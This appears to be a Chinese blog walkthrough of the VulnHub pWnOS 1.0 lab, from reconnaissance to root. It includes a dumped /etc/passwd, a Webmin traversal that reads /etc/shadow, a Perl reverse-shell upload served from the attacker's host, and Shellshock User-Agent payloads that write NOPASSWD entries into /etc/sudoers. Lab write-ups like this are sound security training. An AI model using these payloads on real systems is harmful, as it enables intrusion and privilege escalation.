PWNOS1.0
靶机搭建
下载链接
https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip
如果扫不到ip可以尝试下面的操作
- 用vmware打开虚拟机,选择我已移动主机
- 把虚拟机改成nat模式
- 重启
信息搜集
主机发现
扫描C段,发现129这台主机

端口扫描
快速TCP扫描
开放了22,80,139,445,10000这几个端口

常见端口的UDP扫描

详细TCP扫描

漏洞脚本扫描
10000端口有cve,等下要重点关注一下


漏洞探测
Web渗透
先扫一下80端口

访问index1.php有报错,可能有文件包含

从index.php过滤正常有两个参数,都试一下

connect参数有文件包含漏洞,可以读到/etc/passwd

后面四个用户有/bin/bash,可以尝试利用
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash
访问/etc/shadow显示权限不足

80端口的线索断了,看看10000吧
10000端口是webmin的登录页面
Webmin 是一款基于网页的、开源的 Unix/Linux 服务器管理面板

获得立足点
搜一下漏洞,由于不知道版本,可以多尝试几个

这里我用的是2017.pl

查看用法

成功读取文件

/etc/shadow也可以读

爆破一下密码
sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
找到一个账户

用ssh登录,直接登录会报错,应该是ssh版本的问题,指定rsa算法就行了

提权
方法一
不能执行sudo

也没定时任务

看一下网站根目录,发现www文件夹是root

能读到/etc/shadow,说明能拿到系统级的权限,那我是不是可以写一个反弹shell脚本到服务器上,用cve去读取执行,这不就可以拿到root shell了吗?
kali中有自带的perl webshell
cp /usr/share/webshells/perl/perl-reverse-shell.pl rev.pl
记得修改一下ip,在kali上开启一个web服务
sudo php -S 0:80
下载后更改后缀名为.cgi。因为.pl 后缀的文件,Webmin 会默认当作普通文本文件处理 —— 访问时只会返回文件内容(下载 / 显示源码),而不会调用 Perl 解释器执行脚本。
监听,执行,成功拿到shell

方法二:shellshock提权
前提:bash版本小于4.3
漏洞原理详见
ShellShock(CVE-2014-6271)-CSDN博客
Bash 破壳漏洞Shellshock (CVE-2014-6271)复现分析 - 春告鳥 - 博客园
总结一下,每当CGI脚本接收到一次HTTP请求,它的环境变量就会新增一些条目,比如User-agent,Connection等信息,这里我们通过修改User-Agent来修改CGI环境变量
因为目标 CGI 脚本首行是#!/bin/bash,Web 服务器会启动一个新的 Bash 进程来执行这个脚本,并且把第一步的所有环境变量全部传给这个 Bash 进程,又因为Bash版本较低,存在shellshock漏洞,就会执行恶意命令
验证poc
env x='() { echo LE0; }; echo shellshock' bash -c 'x'
如果输出如下图,则有shellshock漏洞

http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/temp/1.cgi -A '() { :; };/bin/echo "vmware ALL=(ALL)ALL" >> /etc/sudoers'
也可以这样写,这样就可以免密码执行sudo了
http://10.10.10.129:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/temp/1.cgi -A '() { :; };/bin/echo "obama ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers'


浙公网安备 33010602011771号